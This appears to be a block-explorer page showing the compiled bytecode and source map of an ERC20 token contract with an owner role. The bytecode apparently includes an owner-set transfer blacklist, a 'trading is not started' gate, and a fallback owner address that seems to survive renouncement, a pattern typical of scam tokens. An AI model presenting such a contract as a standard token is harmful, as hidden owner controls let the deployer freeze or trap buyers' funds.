5260200160002060006101000a81548160ff0219169083151502179055508080610a9490611d5c565b915050610a00565b50505050565b610aaa611346565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60096020528060005260406000206000915054906101000a900460ff1681565b610b71611346565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610c9a611346565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190611e17565b60405180910390fd5b610d13816113c4565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8590611ea9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df590611f3b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610edc9190611895565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5090611fcd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc09061205f565b60405180910390fd5b610fd4838383611488565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561105b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611052906120f1565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f09190611c11565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111549190611895565b60405180910390a36111678484846115b7565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d490612183565b60405180910390fd5b6111e982600083611488565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611270576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126790612215565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546112c89190611c67565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161132d9190611895565b60405180910390a3611341836000846115b7565b505050565b61134e610d16565b73ffffffffffffffffffffffffffffffffffffffff1661136c6115bc565b73ffffffffffffffffffffffffffffffffffffffff16146113c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b990612281565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61149183611660565b6114a357600081146114a257600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156115b157611502610831565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061156d575061153e610831565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6115ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a3906122ed565b60405180910390fd5b6115b2565b5b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116375760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661165b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116f15780820151818401526020810190506116d6565b83811115611700576000848401525b50505050565b6000601f19601f8301169050919050565b6000611722826116b7565b61172c81856116c2565b935061173c8185602086016116d3565b61174581611706565b840191505092915050565b6000602082019050818103600083015261176a8184611717565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117a78261177c565b9050919050565b6117b78161179c565b81146117c257600080fd5b50565b6000813590506117d4816117ae565b92915050565b6000819050919050565b6117ed816117da565b81146117f857600080fd5b50565b60008135905061180a816117e4565b92915050565b6000806040838503121561182757611826611772565b5b6000611835858286016117c5565b9250506020611846858286016117fb565b9150509250929050565b60008115159050919050565b61186581611850565b82525050565b6000602082019050611880600083018461185c565b92915050565b61188f816117da565b82525050565b60006020820190506118aa6000830184611886565b92915050565b6000806000606084860312156118c9576118c8611772565b5b60006118d7868287016117c5565b93505060206118e8868287016117c5565b92505060406118f9868287016117fb565b9150509250925092565b60006020828403121561191957611918611772565b5b6000611927848285016117c5565b91505092915050565b600060ff82169050919050565b61194681611930565b82525050565b6000602082019050611961600083018461193d565b92915050565b60006020828403121561197d5761197c611772565b5b600061198b848285016117fb565b91505092915050565b61199d8161179c565b82525050565b60006020820190506119b86000830184611994565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119e3576119e26119be565b5b8235905067ffffffffffffffff811115611a00576119ff6119c3565b5b602083019150836020820283011115611a1c57611a1b6119c8565b5b9250929050565b611a2c81611850565b8114611a3757600080fd5b50565b600081359050611a4981611a23565b92915050565b600080600060408486031215611a6857611a67611772565b5b600084013567ffffffffffffffff811115611a8657611a85611777565b5b611a92868287016119cd565b93509350506020611aa586828701611a3a565b9150509250925092565b60008060408385031215611ac657611ac5611772565b5b6000611ad4858286016117c5565b9250506020611ae5858286016117c5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b3657607f821691505b60208210811415611b4a57611b49611aef565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611bac6028836116c2565b9150611bb782611b50565b604082019050919050565b60006020820190508181036000830152611bdb81611b9f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c1c826117da565b9150611c27836117da565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c5c57611c5b611be2565b5b828201905092915050565b6000611c72826117da565b9150611c7d836117da565b925082821015611c9057611c8f611be2565b5b828203905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611cf76025836116c2565b9150611d0282611c9b565b604082019050919050565b60006020820190508181036000830152611d2681611cea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d67826117da565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611d9a57611d99611be2565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e016026836116c2565b9150611e0c82611da5565b604082019050919050565b60006020820190508181036000830152611e3081611df4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e936024836116c2565b9150611e9e82611e37565b604082019050919050565b60006020820190508181036000830152611ec281611e86565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f256022836116c2565b9150611f3082611ec9565b604082019050919050565b60006020820190508181036000830152611f5481611f18565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fb76025836116c2565b9150611fc282611f5b565b604082019050919050565b60006020820190508181036000830152611fe681611faa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120496023836116c2565b915061205482611fed565b604082019050919050565b600060208201905081810360008301526120788161203c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120db6026836116c2565b91506120e68261207f565b604082019050919050565b6000602082019050818103600083015261210a816120ce565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061216d6021836116c2565b915061217882612111565b604082019050919050565b6000602082019050818103600083015261219c81612160565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006121ff6022836116c2565b915061220a826121a3565b604082019050919050565b6000602082019050818103600083015261222e816121f2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061226b6020836116c2565b915061227682612235565b602082019050919050565b6000602082019050818103600083015261229a8161225e565b9050919050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b60006122d76016836116c2565b91506122e2826122a1565b602082019050919050565b60006020820190508181036000830152612306816122ca565b905091905056fea264697066735822122007b69cd8ad3833762e0a73021fe6e394f966603bf8697cd2ead3c08a2675ae3164736f6c63430008090033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063c34b2e071161007c578063c34b2e07146103b6578063dae39f92146103d2578063db5d779314610402578063dd62ed3e1461041e578063e6ba26481461044e578063f2fde38b1461047e5761014d565b8063715018a6146102f45780638da5cb5b146102fe57806395d89b411461031c578063a457c2d71461033a578063a9059cbb1461036a578063a9ddeaa21461039a5761014d565b80632cb32fc1116101155780632cb32fc11461020c578063313ce5671461023c578063395093511461025a57806342966c681461028a57806349bd5a5e146102a657806370a08231146102c45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be5780632b112e49146101ee575b600080fd5b61015a61049a565b6040516101679190611750565b60405180910390f35b61018a60048036038101906101859190611810565b61052c565b604051610197919061186b565b60405180910390f35b6101a861054a565b6040516101b59190611895565b60405180910390f35b6101d860048036038101906101d391906118b0565b610554565b6040516101e5919061186b565b60405180910390f35b6101f661064c565b6040516102039190611895565b60405180910390f35b61022660048036038101906102219190611903565b6106c5565b604051610233919061186b565b60405180910390f35b6102446106e5565b604051610251919061194c565b60405180910390f35b610274600480360381019061026f9190611810565b6106ee565b604051610281919061186b565b60405180910390f35b6102a4600480360381019061029f9190611967565b61079a565b005b6102ae6107ae565b6040516102bb91906119a3565b60405180910390f35b6102de60048036038101906102d99190611903565b6107d4565b6040516102eb9190611895565b60405180910390f35b6102fc61081d565b005b610306610831565b60405161031391906119a3565b60405180910390f35b61032461085a565b6040516103319190611750565b60405180910390f35b610354600480360381019061034f9190611810565b6108ec565b604051610361919061186b565b60405180910390f35b610384600480360381019061037f9190611810565b6109d7565b604051610391919061186b565b60405180910390f35b6103b460048036038101906103af9190611a4f565b6109f5565b005b6103d060048036038101906103cb9190611903565b610aa2565b005b6103ec60048036038101906103e79190611903565b610b49565b6040516103f9919061186b565b60405180910390f35b61041c60048036038101906104179190611903565b610b69565b005b61043860048036038101906104339190611aaf565b610bb5565b6040516104459190611895565b60405180910390f35b61046860048036038101906104639190611903565b610c3c565b604051610475919061186b565b60405180910390f35b61049860048036038101906104939190611903565b610c92565b005b6060600580546104a990611b1e565b80601f01602080910402602001604051908101604052809291908181526020018280546104d590611b1e565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000610540610539610d16565b8484610d1e565b6001905092915050565b6000600454905090565b6000610561848484610ee9565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561062c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062390611bc2565b60405180910390fd5b61064085610638610d16565b858403610d1e565b60019150509392505050565b6000610679600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107d4565b6106a4600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107d4565b6106ae9190611c11565b6106b661054a565b6106c09190611c67565b905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60006009905090565b60006107906106fb610d16565b848460036000610709610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461078b9190611c11565b610d1e565b6001905092915050565b6107ab6107a5610d16565b8261116d565b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610825611346565b61082f60006113c4565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461086990611b1e565b80601f016020809104026020016040519081016040528092919081815260200182805461089590611b1e565b80156108e25780601f106108b7576101008083540402835291602001916108e2565b820191906000526020600020905b8154815290600101906020018083116108c557829003601f168201915b5050505050905090565b600080600360006108fb610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109af90611d0d565b60405180910390fd5b6109cc6109c3610d16565b85858403610d1e565b600191505092915050565b60006109eb6109e4610d16565b8484610ee9565b6001905092915050565b6109fd611346565b60005b83839050811015610a9c578160076000868685818110610a2357610a22611d2d565b5b9050602002016020810190610a389190611903565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9490611d5c565b915050610a00565b50505050565b610aaa611346565b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60096020528060005260406000206000915054906101000a900460ff1681565b610b71611346565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610c9a611346565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0190611e17565b60405180910390fd5b610d13816113c4565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8590611ea9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df590611f3b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610edc9190611895565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5090611fcd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc09061205f565b60405180910390fd5b610fd4838383611488565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561105b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611052906120f1565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110f09190611c11565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111549190611895565b60405180910390a36111678484846115b7565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d490612183565b60405180910390fd5b6111e982600083611488565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611270576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126790612215565b60405180910390fd5b818103600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546112c89190611c67565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161132d9190611895565b60405180910390a3611341836000846115b7565b505050565b61134e610d16565b73ffffffffffffffffffffffffffffffffffffffff1661136c6115bc565b73ffffffffffffffffffffffffffffffffffffffff16146113c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b990612281565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61149183611660565b6114a357600081146114a257600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156115b157611502610831565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061156d575061153e610831565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6115ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a3906122ed565b60405180910390fd5b6115b2565b5b505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116375760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661165b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116f15780820151818401526020810190506116d6565b83811115611700576000848401525b50505050565b6000601f19601f8301169050919050565b6000611722826116b7565b61172c81856116c2565b935061173c8185602086016116d3565b61174581611706565b840191505092915050565b6000602082019050818103600083015261176a8184611717565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117a78261177c565b9050919050565b6117b78161179c565b81146117c257600080fd5b50565b6000813590506117d4816117ae565b92915050565b6000819050919050565b6117ed816117da565b81146117f857600080fd5b50565b60008135905061180a816117e4565b92915050565b6000806040838503121561182757611826611772565b5b6000611835858286016117c5565b9250506020611846858286016117fb565b9150509250929050565b60008115159050919050565b61186581611850565b82525050565b6000602082019050611880600083018461185c565b92915050565b61188f816117da565b82525050565b60006020820190506118aa6000830184611886565b92915050565b6000806000606084860312156118c9576118c8611772565b5b60006118d7868287016117c5565b93505060206118e8868287016117c5565b92505060406118f9868287016117fb565b9150509250925092565b60006020828403121561191957611918611772565b5b6000611927848285016117c5565b91505092915050565b600060ff82169050919050565b61194681611930565b82525050565b6000602082019050611961600083018461193d565b92915050565b60006020828403121561197d5761197c611772565b5b600061198b848285016117fb565b91505092915050565b61199d8161179c565b82525050565b60006020820190506119b86000830184611994565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126119e3576119e26119be565b5b8235905067ffffffffffffffff811115611a00576119ff6119c3565b5b602083019150836020820283011115611a1c57611a1b6119c8565b5b9250929050565b611a2c81611850565b8114611a3757600080fd5b50565b600081359050611a4981611a23565b92915050565b600080600060408486031215611a6857611a67611772565b5b600084013567ffffffffffffffff811115611a8657611a85611777565b5b611a92868287016119cd565b93509350506020611aa586828701611a3a565b9150509250925092565b60008060408385031215611ac657611ac5611772565b5b6000611ad4858286016117c5565b9250506020611ae5858286016117c5565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611b3657607f821691505b60208210811415611b4a57611b49611aef565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611bac6028836116c2565b9150611bb782611b50565b604082019050919050565b60006020820190508181036000830152611bdb81611b9f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c1c826117da565b9150611c27836117da565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c5c57611c5b611be2565b5b828201905092915050565b6000611c72826117da565b9150611c7d836117da565b925082821015611c9057611c8f611be2565b5b828203905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611cf76025836116c2565b9150611d0282611c9b565b604082019050919050565b60006020820190508181036000830152611d2681611cea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611d67826117da565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611d9a57611d99611be2565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e016026836116c2565b9150611e0c82611da5565b604082019050919050565b60006020820190508181036000830152611e3081611df4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611e936024836116c2565b9150611e9e82611e37565b604082019050919050565b60006020820190508181036000830152611ec281611e86565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f256022836116c2565b9150611f3082611ec9565b604082019050919050565b60006020820190508181036000830152611f5481611f18565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611fb76025836116c2565b9150611fc282611f5b565b604082019050919050565b60006020820190508181036000830152611fe681611faa565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120496023836116c2565b915061205482611fed565b604082019050919050565b600060208201905081810360008301526120788161203c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006120db6026836116c2565b91506120e68261207f565b604082019050919050565b6000602082019050818103600083015261210a816120ce565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061216d6021836116c2565b915061217882612111565b604082019050919050565b6000602082019050818103600083015261219c81612160565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b60006121ff6022836116c2565b915061220a826121a3565b604082019050919050565b6000602082019050818103600083015261222e816121f2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061226b6020836116c2565b915061227682612235565b602082019050919050565b6000602082019050818103600083015261229a8161225e565b9050919050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b60006122d76016836116c2565b91506122e2826122a1565b602082019050919050565b60006020820190508181036000830152612306816122ca565b905091905056fea264697066735822122007b69cd8ad3833762e0a73021fe6e394f966603bf8697cd2ead3c08a2675ae3164736f6c63430008090033

Deployed Bytecode Sourcemap

17364:1279:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3040:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5206:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4159:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5857:492;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18501:139;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2477:58;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4002:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6758:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14157:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17421:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4330:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16172:103;;;:::i;:::-;;15524:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3259:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7476:413;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4670:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18277:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17173:148;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17456:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17802:109;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4908:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11856:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16430:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3040:100;3094:13;3127:5;3120:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;